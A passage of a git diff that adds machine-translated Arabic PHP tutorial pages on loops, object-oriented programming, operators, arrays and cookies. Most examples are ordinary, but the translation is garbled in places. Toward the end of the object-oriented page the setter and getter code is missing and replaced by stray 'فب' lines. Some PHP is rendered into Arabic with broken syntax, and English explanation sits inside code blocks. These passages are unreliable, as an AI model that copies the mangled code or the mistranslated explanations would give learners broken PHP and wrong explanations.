+## كابل بيانات
+
+PHP [موثقة بشكل جيد](http://php.net/docs.php) . تتضمن [المستندات الرسمية](http://php.net/manual/en/) أمثلة على كل دليل مرجعي للوظائف تقريبًا بالإضافة إلى تعليقات المستخدمين.
+
+## موارد آخرى
+
+*   [Tizag.com PHP Tutorial](http://www.tizag.com/phpT/) : لا تزال البرامج التعليمية ذات الصلة [لتبدأ](http://www.tizag.com/phpT/) مع PHP
+*   [PHP رائع](https://github.com/ziadoz/awesome-php) : قائمة منظمة من مكتبات PHP ، والموارد ، و "الأشياء اللامعة"
+*   [Laracasts.com](https://laracasts.com/) : موقع عضوية لتعلم تطوير تطبيق الويب باستخدام PHP
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/loop/index.md b/client/src/guide/arabic/php/loop/index.md
new file mode 100644
index 0000000000..f5f4737ad5
--- /dev/null
+++ b/client/src/guide/arabic/php/loop/index.md
@@ -0,0 +1,160 @@
+---
+title: Loop
+localeTitle: عقدة
+---
+# حلقة PHP
+
+عندما تحتاج إلى تكرار نفس المهمة لعدة مرات ، يمكنك استخدام الحلقة بدلاً من الاستمرار في إضافة نفس التعليمة البرمجية مرارًا وتكرارًا. في PHP لديك العبارات التالية حلقة:
+
+*   ل - حلقة من خلال كتلة من التعليمات البرمجية مع عدد محدد من المرات.
+*   أثناء التكرار - من خلال كتلة من الكود إذا كان الشرط صحيحًا.
+*   do… while - عرِّف من خلال كتلة من الكود الأول وتابع الحل إذا كان الشرط صحيحًا.
+*   foreach - عرّف من خلال كتلة من الرمز لكل قيمة داخل صفيف.
+
+يمكن أن يؤدي استخدام `break` داخل الحلقة إلى إيقاف تنفيذ الحلقة.
+
+# لحلقة
+
+التكرار من خلال كتلة من الكود مع عدد محدد من المرات.
+
+## بناء الجملة
+
+ `for (init counter; condition; counter increment or decrement) 
+ { 
+    // Code to be executed 
+ } 
+` 
+
+## مثال
+
+ `<?php 
+ for($index = 0; $index < 5; $index ++) 
+ { 
+    echo "Current loop counter ".$index.".\n"; 
+ } 
+ ?> 
+` 
+
+## انتاج |
+
+ `> Current loop counter 0. 
+ > Current loop counter 1. 
+ > Current loop counter 2. 
+ > Current loop counter 3. 
+ > Current loop counter 4. 
+` 
+
+# حائط اللوب
+
+قم بالالتفاف من خلال كتلة من التعليمات البرمجية إذا كان الشرط صحيحًا.
+
+## بناء الجملة
+
+ `while (condition) 
+ { 
+    // Code to be executed 
+ } 
+` 
+
+## مثال
+
+ `<?php 
+ $index = 10; 
+ while ($index >= 0) 
+ { 
+    echo "The index is ".$index.".\n"; 
+    $index--; 
+ } 
+ ?> 
+` 
+
+## انتاج |
+
+ `> The index is 10. 
+ > The index is 9. 
+ > The index is 8. 
+ > The index is 7. 
+ > The index is 6. 
+ > The index is 5. 
+ > The index is 4. 
+ > The index is 3. 
+ > The index is 2. 
+ > The index is 1. 
+ > The index is 0. 
+` 
+
+# هل ... في حين حلقة
+
+قم بالالتفاف من خلال كتلة من الكود الأول وتابع الحلقة إذا كان الشرط صحيحًا.
+
+## بناء الجملة
+
+ `do 
+ { 
+    // Code to be executed 
+ } 
+ while (condition); 
+` 
+
+## مثال
+
+ `<?php 
+ $index = 3; 
+ do 
+ { 
+    // execute this at least 1 time 
+    echo "Index: ".$index.".\n"; 
+    $index --; 
+ } 
+ while ($index > 0); 
+ ?> 
+` 
+
+## انتاج |
+
+ `> Index: 3. 
+ > Index: 2. 
+ > Index: 1. 
+` 
+
+# حلقة foreach
+
+قم بالالتفاف من خلال كتلة من التعليمات البرمجية لكل قيمة داخل صفيف.
+
+## بناء الجملة
+
+ `foreach ($array as $value) 
+ { 
+    // Code to be executed 
+ } 
+` 
+
+## مثال
+
+ `<?php 
+ $array = ["Ali", "Ah Kao", "Muthu", "Gwen", "Lucida", "Cecily", "Arthur", "Flora"]; 
+ foreach ($array as $name) 
+ { 
+    echo "Hi, my name is ".$name.".\n"; 
+ 
+    if ($name == "Cecily") 
+    { 
+        echo "\"Hello, ".$name."!\""; 
+ 
+        // stop the loop if name is Cecily 
+        break; 
+    } 
+ } 
+ ?> 
+` 
+
+## انتاج |
+
+ `> Hi, my name is Ali. 
+ > Hi, my name is Ah Kao. 
+ > Hi, my name is Muthu. 
+ > Hi, my name is Gwen. 
+ > Hi, my name is Lucida. 
+ > Hi, my name is Cecily. 
+ > "Hello, Cecily!" 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/loops/for-loop/index.md b/client/src/guide/arabic/php/loops/for-loop/index.md
new file mode 100644
index 0000000000..59fdeaf6ed
--- /dev/null
+++ b/client/src/guide/arabic/php/loops/for-loop/index.md
@@ -0,0 +1,73 @@
+---
+title: For Loop
+localeTitle: لحلقة
+---
+## لحلقة
+
+في PHP `for` بيان يتكون من ثلاث عبارات وبيان:
+
+`for ((initialization); (condition); (final-expression)) statement`
+
+### وصف
+
+*   التهيئة
+    *   تشغيل قبل تنفيذ الأول في الحلقة.
+    *   يستخدم هذا التعبير عادة لإنشاء عدادات.
+    *   يتم تحديد نطاق المتغيرات التي تم إنشاؤها هنا للحلقة. بمجرد الانتهاء من الحلقة يتم تنفيذ ذلك يتم تدميرها.
+*   شرط
+    *   التعبير الذي تم فحصه قبل تنفيذ كل تكرار.
+    *   إذا تم حذف هذا التعبير يتم تقييمه إلى " `true` .
+*   التعبير عن النهائي
+    *   التعبير الذي يتم تشغيله بعد كل عملية تكرار.
+    *   عادة ما تستخدم لزيادة عداد.
+    *   ولكن يمكن استخدامها لتشغيل أي تعبير.
+*   بيان
+    *   رمز لتكرار في كل تكرار حلقة.
+
+يمكن استخدام أي من هذه التعبيرات الثلاثة أو العبارة.
+
+يمكن أن تحتوي التعبيرات على تعبيرات متعددة مفصولة بفواصل.
+
+في التعبير (الشرط) ، سيتم تقييم كل تعبيرات الفاصلة المنفصلة.
+
+يتم الحصول على النتيجة من آخر واحد.
+
+للحلقات المستخدمة عادة لحساب عدد معين من التكرار لتكرار العبارة.
+
+### المخاطر المشتركة
+
+#### تجاوز حدود صفيف
+
+عند الفهرسة عبر مصفوفة عدة مرات ، من السهل تجاوز حدود الصفيف (على سبيل المثال ، حاول أن ترجع العنصر الرابع في صفيف مكون من 3 عناصر).
+
+ `// This will cause an error. 
+ // The bounds of the array will be exceeded. 
+ $arr = array(1,2,3); 
+ 
+ for ($i = 0; $i <= count($arr); $i++) { 
+    var_dump($arr[$i]); 
+ } 
+` 
+
+هذا سوف يخرج:
+
+ `int(1) int(2) int(3) NULL 
+` 
+
+هناك طرق لإصلاح هذا الرمز.
+
+قم بتعيين الشرط إما `$i < count($arr)` أو `$i <= count($arr) - 1` .
+
+#### قضايا الأداء
+
+يمكن أن يصبح الرمز أعلاه بطيئًا ، نظرًا لجلب حجم الصفيف في كل تكرار.
+
+لحل هذه المشكلة ، من الممكن وضع حجم الصفيف في متغير.
+
+ `//create the $size variable with a second expression comma separated 
+ for ($i = 0, $size = count($arr); $i < $size; ++$i) { 
+` 
+
+### معلومات اكثر
+
+*   [PHP.net - هياكل التحكم](https://secure.php.net/manual/en/control-structures.for.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/loops/index.md b/client/src/guide/arabic/php/loops/index.md
new file mode 100644
index 0000000000..d33e78179f
--- /dev/null
+++ b/client/src/guide/arabic/php/loops/index.md
@@ -0,0 +1,17 @@
+---
+title: Loops
+localeTitle: الحلقات
+---
+## الحلقات
+
+يتم استخدام الحلقات في PHP لتنفيذ المهام المتكررة بناءً على شرط.
+
+الشروط عادة ما تكون `true` أو `false` عند تحليلها.
+
+تستمر حلقة مستمرة حتى تعود الحالة المعرفة `false` .
+
+يمكنك كتابة `php for` `php while` أو `php do while` الحصول على مزيد من المعلومات عن أي من هذه.
+
+### معلومات اكثر
+
+*   [PHP.net - للحصول على الحلقات](https://secure.php.net/manual/control-structures.for.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/loops/while-loop/index.md b/client/src/guide/arabic/php/loops/while-loop/index.md
new file mode 100644
index 0000000000..beaf6b718b
--- /dev/null
+++ b/client/src/guide/arabic/php/loops/while-loop/index.md
@@ -0,0 +1,47 @@
+---
+title: While Loop
+localeTitle: حائط اللوب
+---
+## حائط اللوب
+
+تعد `while loop` واحدة من أسهل أنواع الحلقات في PHP. ينفذ كتلة البيانات حتى يتم تقييم التعبير إلى **TRUE** . إذا تغيرت قيمة التعبير في وقت التنفيذ ، فستعمل الحلقة حتى يتم تقييم التعبير إلى **FALSE** . يتم إعطاء النموذج الأساسي لحلقة While أدناه:
+
+ `while (expr) 
+    statement 
+` 
+
+يمكن تضمين البيانات داخل الحلقة أثناء الأقواس المعقوفة أو يمكن استخدامها بناء على الصيغة التالية:
+
+ `while (expr): 
+    statement 
+    ... 
+ endwhile; 
+` 
+
+توضيح بناء الجملة البسيط والبديل من حلقة أثناء استخدام المثال:
+
+ `<?php 
+ 
+ /* using the simple form of while loop */ 
+ 
+ $i = 1;  /* initialisation part */ 
+ 
+ while ($i <= 100 && $i!=5 ) 
+ { 
+    echo $i++; 
+ } 
+ 
+ /*using the alternate synatx of while loop*/ 
+ 
+ $i = 0; 
+ 
+ while ($i <= 10): 
+    echo $i++; 
+ endwhile; 
+ 
+ ?> 
+` 
+
+#### معلومات اكثر
+
+[في حين حلقة - وثائق PHP](http://php.net/manual/en/control-structures.while.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/object-oriented-programming/index.md b/client/src/guide/arabic/php/object-oriented-programming/index.md
new file mode 100644
index 0000000000..6962f05b0a
--- /dev/null
+++ b/client/src/guide/arabic/php/object-oriented-programming/index.md
@@ -0,0 +1,320 @@
+---
+title: Object Oriented Programming
+localeTitle: البرمجة الشيئية
+---
+## البرمجة الشيئية
+
+البرمجة الشيئية ، كما يوحي الاسم ، تدور حول الكائنات. أنت تحاول بشكل أساسي إنشاء جزء من البرنامج منظم بعناية في الكائنات. هذا النهج يجعل التعليمة البرمجية قابلة للتطوير مع مكونات قابلة لإعادة الاستخدام.
+
+### MAN كلاس
+
+لنفترض أنك تريد إنشاء برنامج حول الرجال بشكل عام.
+
+إن الرجال العاديين لديهم كل أنواع الأشياء المشتركة مثل إعطاء مصافحات قوية ، كونهم عنيدين ، لا يضعون ورق التواليت ، أو الوقوع في الحب مع أحدث الأدوات ، إلخ. يمكن وصف هذه الأمور بأنها سلوكيات أو أساليب كائن الإنسان.
+
+يتمتع الرجال أيضًا بميزات مميزة خاصة بهم مثل العمر والطول والرياضات المفضلة والمشروبات المفضلة ، إلخ. ويمكن وصف هذه الخصائص بأنها خصائص أو سمات كائن الرجل.
+
+مع وضع هذه الأمور في الاعتبار ، لم يعد إنشاء فئة رجل أمرًا صعبًا بعد الآن. لذا ، سيذهب البرنامج هكذا.
+
+ `<?php 
+ 
+ class Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+ 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ } 
+` 
+
+### الرجل الهدف
+
+الآن أن لدينا هذه الفئة _الرجل،_ ونحن يمكن أن تخلق أي رجل معين عن طريق إنشاء مثيل من الطبقة المعروفة باسم مثيل الفئة.
+
+ `<?php 
+ 
+ // Create a Man object called "Jack" (ie instantiation) 
+ $jack = new Man(); 
+ 
+ // Set values to Jack's attributes 
+ $jack->name = "Jack"; 
+ $jack->age = 30; 
+ $jack->height = "6 feet"; 
+ $jack->fav_sports = ["basketball", "soccer"]; 
+ $jack->fav_drinks = ["coffee", "green tea"]; 
+ 
+ // Print out Jack's attributes and values 
+ echo "Our man's name is: " . $jack->name . "\n"; 
+ echo "He is " . $jack->age . " years old and " . $jack->height . " tall."; 
+ 
+ echo "His favorite sports are: "; 
+ foreach ($jack->fav_sports as $sport) { 
+    echo $sport . " "; 
+ } 
+ 
+ echo "\nHis favorite drinks are: "; 
+ foreach ($jack->fav_drinks as $drink) { 
+    echo $drink . " "; 
+ } 
+ 
+ // Print out Jack's behaviors common to all men (hint: defined in Man class) 
+ echo "\nHe said these are some of his behaviors common to other men: "; 
+ echo "\n\t" . $jack->giveFirmHandshakes(); 
+ echo "\n\t" . $jack->beStubborn(); 
+ echo "\n\t" . $jack->notPutToiletPaper(); 
+` 
+
+هنا يمكنك أن ترى أن رجلاً اسمه جاك تم إنشاؤه باسم "جاك" ، وارتفاع "6 أقدام" ، و "كرة السلة وكرة القدم" الرياضية المفضلة ، والمشروبات المفضلة "القهوة والشاي الأخضر". تسمى هذه السمات متغيرات الحالة.
+
+ثم لديه سلوكيات جميع الرجال مثل إعطاء يد صلبة ، وهو عنيد وعدم وضع ورق التواليت. وتسمى كل هذه السلوكيات سبيل المثال.
+
+### CONSTRUCTORS
+
+لقد أنشأنا حتى الآن صفًا يدعى "رجل" وشيء يدعى "جاك" عن طريق إنشاء هذا الفصل. كما أعطينا قيم جاك لصفاته (الاسم والطول والرياضات المفضلة والمشروبات) واستدعاء سلوكياته الشائعة لجميع الرجال (إعطاء مصافحات قوية ، والبقاء عنيدًا وعدم وضع أوراق المرحاض).
+
+لنأخذ هذه الفكرة خطوة أخرى ونجعل جاك يبدأ في تقديم نفسه كلما أنشأنا كائن جاك دون الاضطرار إلى طباعته بشكل فردي على النحو التالي:
+
+ `<?php 
+ // Print out Jack's attributes and values 
+ echo "Our man's name is: " . $jack->name . "\n"; 
+ echo "He is " . $jack->age . " years old and " . $jack->height . " tall."; 
+` 
+
+هذا هو المكان الصانعين يلعبون. إن المنشئات هي أساليب خاصة يتم استدعائها عند إنشاء كائن.
+
+لذا ، فإن الفكرة هي طباعة اسم جاك وعمرها وارتفاعها عندما نقوم بإنشاء كائن "جاك" عن طريق إنشاء دروس للإنسان. ولتحقيق ذلك ، نحتاج إلى تحديد الاسم والعمر والطول عند إنشاء الكائن على النحو التالي:
+
+ `<?php 
+ // Create a Man object called "Jack" 
+ $jack = new Man('Jack', 30, '6 feet'); 
+` 
+
+يخبر هذا الكود "رجل الطبقة" بإنشاء كائن به 3 معلمات: "Jack" للاسم ، 30 لـ age و "6 feet" للارتفاع.
+
+والآن بعد أن نجحنا في تمرير هذه المعلمات أثناء تأليف الصف ، يمكننا بسهولة استخدامها لجعل طريقة المنشئ.
+
+ `<?php 
+ // Create a constructor method with 3 required parameters: name, age and height 
+ public function __construct($name, $age, $height) 
+ { 
+    // Print out to say "object created" 
+    echo "object created\n"; 
+ 
+    // Assign the values of parameters to properties 
+    // Also known as instance variables 
+    // Using "$this->property_name" 
+    $this->name = $name; 
+    $this->age = $age; 
+    $this->height = $height; 
+ 
+    // Print out Jack's attributes and values 
+    echo "Our man's name is: " . $this->name . "\n"; 
+    echo "He is " . $this->age . " years old and " . $this->height . " tall."; 
+ } 
+` 
+
+لذلك ، الآن عندما نقوم بتشكيل فئة Man ، نحتاج إلى وضع 3 معلمات وسيتم طباعتها على الفور.
+
+ `<?php 
+ // Create a Man object called "Jack" 
+ $jack = new Man('Jack', 30, '6 feet'); 
+` 
+
+`Object created` `Our man's name is: Jack` `He is 30 years old and 6 feet tall.`
+
+سيكون رمز كاملة مع منشئ شيء من هذا القبيل:
+
+ `<?php 
+ 
+ class Man 
+ { 
+    // 1. Declare the properties 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+ 
+    // 2. Create a constructor method with 3 required parameters: name, age and height 
+    public function __construct($name, $age, $height) 
+    { 
+        // 2A. Assign the values of parameters to class properties 
+        // Also known as instance variables 
+        // Using "$this->property_name" 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+ 
+        // 2B. Print out Jack's attributes and values 
+        echo "Our man's name is: " . $this->name . "\n"; 
+        echo "He is " . $this->age . " years old and " . $this->height . " tall."; 
+    } 
+ 
+    // 3. Create methods 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ } 
+ 
+ // 4. Create a Man object called "Jack" 
+ // This will print out the echo statements inside "__construct" method inside the class 
+ $jack = new Man('Jack', 30, '6 feet'); 
+ 
+ // 5. Set values to Jack's favorite sports and drinks 
+ $jack->fav_sports = ["basketball", "soccer"]; 
+ $jack->fav_drinks = ["coffee", "green tea"]; 
+ 
+ // Print out Jack's favorite sports and drinks 
+ echo "His favorite sports are: "; 
+ foreach ($jack->fav_sports as $sport) { 
+    echo $sport . " "; 
+ } 
+ 
+ echo "\nHis favorite drinks are: "; 
+ foreach ($jack->fav_drinks as $drink) { 
+    echo $drink . " "; 
+ } 
+ 
+ // Print out Jack's behaviors common to all men 
+ // (hint: defined in Man class) 
+ echo "\nHe said these are some of his behaviors common to other men: "; 
+ echo "\n\t" . $jack->giveFirmHandshakes(); 
+ echo "\n\t" . $jack->beStubborn(); 
+ echo "\n\t" . $jack->notPutToiletPaper(); 
+` 
+
+الآن ، ليس علينا تحديد اسم جاك وعمرها وارتفاعها بشكل منفصل وطباعتها مرة أخرى. عندما نقوم بإنشاء كائن Jack ، فإننا نقوم فقط بتحديد خصائصه كمعلمات وسيقومون بطباعتها تلقائيًا بمساعدة المُنشئ. يمكننا أيضا وضع الرياضة المفضلة لديه والمشروبات في المعلمة إذا كنا نريد من قبل
+
+تحديدها كمعلمات أثناء إنشاء الكائن و وضع خطوط الصدى داخل المنشئ. يمكنك زيارة هنا لمزيد من المعلومات حول تنفيذ PHP من المنشئ. كانت رحلة OOP بطيئة ولكنها ثابتة.
+
+### الحفاظ على أسرار الرجل
+
+إذا لاحظت أن جميع متغيرات الصفوف (الاسم ، العمر ، الطول ، fav _sports و fav_ drinks) يتم الإعلان عنها على أنها عامة داخل فئة Man. الآن ، بعد إنشاء كائن رجل ، لدينا حق الوصول إلى جميع ممتلكاته عن طريق الاتصال بهم ببساطة:
+
+ `<?php 
+ echo $jack->name; 
+ echo $jack->height; 
+` 
+
+ولكن ماذا لو أردنا أن نبقي بعض الأمور سرية عن الرجل؟ ربما لا يريد أن يعرف الجميع سنه ... أو ... ربما يريد فقط بعض الأشخاص أن يعرفوا مشروباته المفضلة. يمكننا تحقيق ذلك عن طريق تغيير مستوى رؤية هذه الخصائص من العامة إلى المحمية وحتى الخاصة.
+
+يمكن الوصول إلى الأماكن العامة في أي مكان ، سواء داخل أو خارج الفصل.
+
+يمكن الوصول إلى الخصائص المحمية داخل الصف وداخل فئة (أطفال) الأطفال.
+
+تتمتع الخصائص الخاصة بنفس الرؤية المحمية كما لا يمكن الوصول إليها من قبل فئة (أطفال) الأطفال.
+
+سنتحدث عن وراثة فصل في وقت ما. في الوقت الحالي ، دعنا نحاول تعيين فئة العمر محمية و private\_drinks خاصة في فئة Man.
+
+ `<?php 
+ 
+ class Man 
+ { 
+    // 1. Declare the variables 
+    public $name; 
+    protected $age; 
+    public $height; 
+    public $fav_sports; 
+    private $fav_drinks; 
+    ..... 
+    ..... 
+` 
+
+الآن إذا حاولت إنشاء مثيل للفئة وتسمية العمر و fav\_drinks ، فسوف تحصل على خطأ.
+
+ `<?php 
+ $jack = new Man('Jack', 30, '6 feet'); 
+ 
+ echo $jack->age; 
+ // Fatal error:  Cannot access protected property Man::$age 
+ 
+ print_r($jack->fav_drinks); 
+ // Fatal error:  Cannot access private property Man::$fav_drinks 
+` 
+
+### المحددات والرسومات
+
+الآن بعد أن قمنا بحماية عمر جاك والمشروبات المفضلة ، كيف يمكننا الوصول إليهم بالضبط وتحديثها؟
+
+للحصول على الخصائص المحمية أو الخاصة ، نحتاج إلى إنشاء طريقة getter مثل هذا داخل فئة Man (لاحظ أن هذه طريقة للفصل مع ظهور للجمهور).
+
+ `<?php 
+ public function getAge() 
+ { 
+    return $this->age; 
+ } 
+` 
+
+الآن يمكننا بسهولة الحصول على عمر جاك عن طريق استدعاء هذه الطريقة:
+
+ `<?php 
+ echo $jack->getAge(); 
+ 
+ Jack just realized he turned 31 last week, how do we update his age? Can't we just do this? 
+` 
+
+فب
+
+ ``Since age property is protected, we cannot access it directly outside the class whether to read it or update it. You will get a fatal error. 
+ 
+ `Fatal error:  Cannot access protected property Man::$age` 
+ 
+ In order to update a protected/private property, we need to create a setter method inside the class with public visibility. 
+`` 
+
+فب
+
+ `Now we can easily update Jack's age by just calling this setter method: 
+` 
+
+فب
+
+echo $ jack-> getAge ()؛ // 31
+
+ `We can also create setter and getter class methods for fav_drinks. Note that we have made the parameter for setFavDrinks optional. So, if you don't pass an array to setFavDrinks, it will default to an empty array. 
+` 
+
+فب
+
+الوظيفة العامة getFavDrinks () { return $ this-> fav\_drinks؛ }
+
+ `To set Jack's fav_drinks: 
+` 
+
+فب
+
+للحصول على fav\_srinks من Jack:
+
+ `<?php 
+ echo json_encode($jack->getFavDrinks()); 
+ // ["coffee","green tea"] 
+` 
+
+وتسمى هذه الطريقة في تطبيق واستخدام أساليب الصف لاسترجاع وتحديث خصائص الصفات بالتغليف في البرمجة الشيئية. يمكننا أيضًا تعيين مستوى الرؤية لطرق الصفوف تمامًا مثل الطريقة التي استخدمناها في خصائص الصف.
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/operators/index.md b/client/src/guide/arabic/php/operators/index.md
new file mode 100644
index 0000000000..bfe2bf11e4
--- /dev/null
+++ b/client/src/guide/arabic/php/operators/index.md
@@ -0,0 +1,13 @@
+---
+title: Operators
+localeTitle: العاملين
+---
+## العاملين
+
+يحتوي PHP على جميع المشغلين العاديين الذين يتوقع المرء العثور عليهم بلغة برمجة.
+
+يستخدم واحد "=" كمشغل للتخصيص ويتم استخدام "==" مزدوجة أو ثلاثية "===" للمقارنة.
+
+كما يمكن استخدام المعتاد "<" و ">" للمقارنة ، ويمكن استخدام "+ =" لإضافة قيمة وتعيينها في نفس الوقت.
+
+وأبرزها هو استخدام "." لسَلسَلة السلاسل و ". =" لإلحاق سلسلة واحدة بنهاية أخرى.
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-array/index.md b/client/src/guide/arabic/php/php-array/index.md
new file mode 100644
index 0000000000..3a674af044
--- /dev/null
+++ b/client/src/guide/arabic/php/php-array/index.md
@@ -0,0 +1,164 @@
+---
+title: Php Arrays
+localeTitle: صفائف Php
+---
+المصفوفة هي بنية بيانات تخزن نوعًا واحدًا أو أكثر من القيم المماثلة في قيمة واحدة. على سبيل المثال ، إذا كنت تريد تخزين 100 رقم ، فبدلاً من تحديد 100 متغير ، يسهل تعريف صفيف طوله 100.
+
+يوجد ثلاثة أنواع مختلفة من المصفوفات ويتم الوصول إلى كل قيمة صفيف باستخدام معرف c الذي يسمى فهرس الصفيف.
+
+مصفوفة رقمية - مصفوفة مع فهرس رقمي. يتم تخزين القيم والوصول إليها بطريقة خطية.
+
+مصفوفة ترابطية - صفيف يحتوي على سلاسل كمؤشر. هذا يخزن قيم العناصر بالاقتران مع قيم المفتاح بدلاً من ترتيب فهرس خطي صارم.
+
+الصفيف متعدد الأبعاد - يتم الوصول إلى مصفوفة تحتوي على صفيف أو قيم واحدة أو أكثر باستخدام مؤشرات متعددة
+
+ملاحظة - يتم إعطاء وظائف المصفوفة المضمنة في وظيفة مرجع وظائف صفيف PHP
+
+### مصفوفة عددية
+
+يمكن لهذه المصفوفات تخزين الأرقام والسلاسل وأي كائن ولكن سيتم تمثيل الفهرس بالأرقام. افتراضيا مجموعة فهرس يبدأ من الصفر.
+
+#### مثال
+
+فيما يلي مثال يوضح كيفية إنشاء المصفوفات الرقمية والوصول إليها.
+
+هنا قمنا باستخدام وظيفة array () لإنشاء مجموعة. يتم شرح هذه الوظيفة في مرجع الدالة.
+
+ `<html> 
+   <body> 
+ 
+      <?php 
+         /* First method to create array. */ 
+         $numbers = array( 1, 2, 3, 4, 5); 
+ 
+         foreach( $numbers as $value ) { 
+            echo "Value is $value <br />"; 
+         } 
+ 
+         /* Second method to create array. */ 
+         $numbers[0] = "one"; 
+         $numbers[1] = "two"; 
+         $numbers[2] = "three"; 
+         $numbers[3] = "four"; 
+         $numbers[4] = "five"; 
+ 
+         foreach( $numbers as $value ) { 
+            echo "Value is $value <br />"; 
+         } 
+      ?> 
+ 
+   </body> 
+ </html> 
+` 
+
+سيؤدي ذلك إلى النتيجة التالية -
+
+ `Value is 1 
+ Value is 2 
+ Value is 3 
+ Value is 4 
+ Value is 5 
+ Value is one 
+ Value is two 
+ Value is three 
+ Value is four 
+ Value is five 
+` 
+
+### صفيفات الارتباط
+
+تتشابه الصفائف الترابطية إلى حد كبير مع المصفوفات الرقمية من حيث الوظيفة ولكنها تختلف من حيث مؤشرها. سيكون للمجموعة المصاحبة مؤشرها كسلسلة حتى تتمكن من إنشاء ارتباط قوي بين المفتاح والقيم.
+
+لتخزين رواتب الموظفين في مصفوفة ، لن تكون المجموعة المفهرسة عدديًا هي الخيار الأفضل. بدلاً من ذلك ، كان بإمكاننا استخدام أسماء الموظفين كمفاتيح في صفنا النقابي ، وستكون القيمة هي الراتب الخاص بهم.
+
+ملاحظة - لا تحتفظ بصفيف اقتران داخل عرض سعر مزدوج أثناء الطباعة وإلا لن يعيد أي قيمة.
+
+ `Example 
+ <html> 
+   <body> 
+ 
+      <?php 
+         /* First method to associate create array. */ 
+         $salaries = array("mohammad" => 2000, "qadir" => 1000, "zara" => 500); 
+ 
+         echo "Salary of mohammad is ". $salaries['mohammad'] . "<br />"; 
+         echo "Salary of qadir is ".  $salaries['qadir']. "<br />"; 
+         echo "Salary of zara is ".  $salaries['zara']. "<br />"; 
+ 
+         /* Second method to create array. */ 
+         $salaries['mohammad'] = "high"; 
+         $salaries['qadir'] = "medium"; 
+         $salaries['zara'] = "low"; 
+ 
+         echo "Salary of mohammad is ". $salaries['mohammad'] . "<br />"; 
+         echo "Salary of qadir is ".  $salaries['qadir']. "<br />"; 
+         echo "Salary of zara is ".  $salaries['zara']. "<br />"; 
+      ?> 
+ 
+   </body> 
+ </html> 
+` 
+
+سيؤدي ذلك إلى النتيجة التالية -
+
+ `Salary of mohammad is 2000 
+ Salary of qadir is 1000 
+ Salary of zara is 500 
+ Salary of mohammad is high 
+ Salary of qadir is medium 
+ Salary of zara is low 
+` 
+
+### صفائف متعددة الأبعاد
+
+مصفوفة متعددة الأبعاد يمكن أن يكون كل عنصر في المصفوفة الرئيسية مصفوفة. ويمكن أن يكون كل عنصر في المصفوفة الفرعية مصفوفة ، وهكذا. يتم الوصول إلى القيم في مجموعة متعددة الأبعاد باستخدام فهرس متعددة.
+
+مثال في هذا المثال ، نخلق مصفوفة ثنائية الأبعاد لتخزين علامات ثلاثة طلاب في ثلاثة مواضيع -
+
+هذا المثال عبارة عن مصفوفة ارتباطية ، يمكنك إنشاء صفيف رقمي بنفس الطريقة.
+
+ `<html> 
+   <body> 
+ 
+      <?php 
+         $marks = array( 
+            "mohammad" => array ( 
+               "physics" => 35, 
+               "maths" => 30, 
+               "chemistry" => 39 
+            ), 
+ 
+            "qadir" => array ( 
+               "physics" => 30, 
+               "maths" => 32, 
+               "chemistry" => 29 
+            ), 
+ 
+            "zara" => array ( 
+               "physics" => 31, 
+               "maths" => 22, 
+               "chemistry" => 39 
+            ) 
+         ); 
+ 
+         /* Accessing multi-dimensional array values */ 
+         echo "Marks for mohammad in physics : " ; 
+         echo $marks['mohammad']['physics'] . "<br />"; 
+ 
+         echo "Marks for qadir in maths : "; 
+         echo $marks['qadir']['maths'] . "<br />"; 
+ 
+         echo "Marks for zara in chemistry : " ; 
+         echo $marks['zara']['chemistry'] . "<br />"; 
+      ?> 
+ 
+   </body> 
+ </html> 
+` 
+
+سيؤدي ذلك إلى النتيجة التالية -
+
+ `Marks for mohammad in physics : 35 
+ Marks for qadir in maths : 32 
+ Marks for zara in chemistry : 39 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-cookies/index.md b/client/src/guide/arabic/php/php-cookies/index.md
new file mode 100644
index 0000000000..4617be3023
--- /dev/null
+++ b/client/src/guide/arabic/php/php-cookies/index.md
@@ -0,0 +1,110 @@
+---
+title: PHP Cookies
+localeTitle: الكوكيز بي اتش بي
+---
+# فب كيك
+
+## ما هو ملف تعريف الارتباط؟
+
+وكثيرا ما يستخدم ملف تعريف الارتباط لتحديد هوية المستخدم. إنه ملف صغير يقوم الخادم بتضمينه على كمبيوتر المستخدم. في كل مرة يطلب فيها نفس الكمبيوتر صفحة باستخدام متصفح ، فإنه سيرسل ملف تعريف الارتباط أيضًا.  
+تم تصميم ملفات تعريف الارتباط لتكون آلية موثوق بها لتذكر المعلومات الحزينة أو لتسجيل نشاط تصفح المستخدم.  
+كما يمكن استخدامها لتذكر القطع التعسفي من المعلومات التي قام المستخدم بإدخالها مسبقًا في حقول النماذج مثل الأسماء والعناوين وكلمات المرور وما إلى ذلك.
+
+## خلق ملفات تعريف الارتباط مع PHP
+
+باستخدام PHP ، يمكنك إنشاء واسترجاع قيم ملفات تعريف الارتباط. يتم إنشاء ملف تعريف الارتباط مع الدالة setcookie ().
+
+`setcookie(name, value, expire, path, domain, secure, httponly);`
+
+معلمة _الاسم_ فقط هي معلمة مطلوبة. جميع المعلمات الأخرى اختيارية.
+
+## PHP إنشاء / استرداد ملف تعريف الارتباط
+
+المثال التالي يقوم بإنشاء ملف تعريف ارتباط يسمى "المستخدم" بقيمة "John Doe".  
+تنتهي صلاحية ملف تعريف الارتباط بعد 30 يومًا (86400 \* 30).  
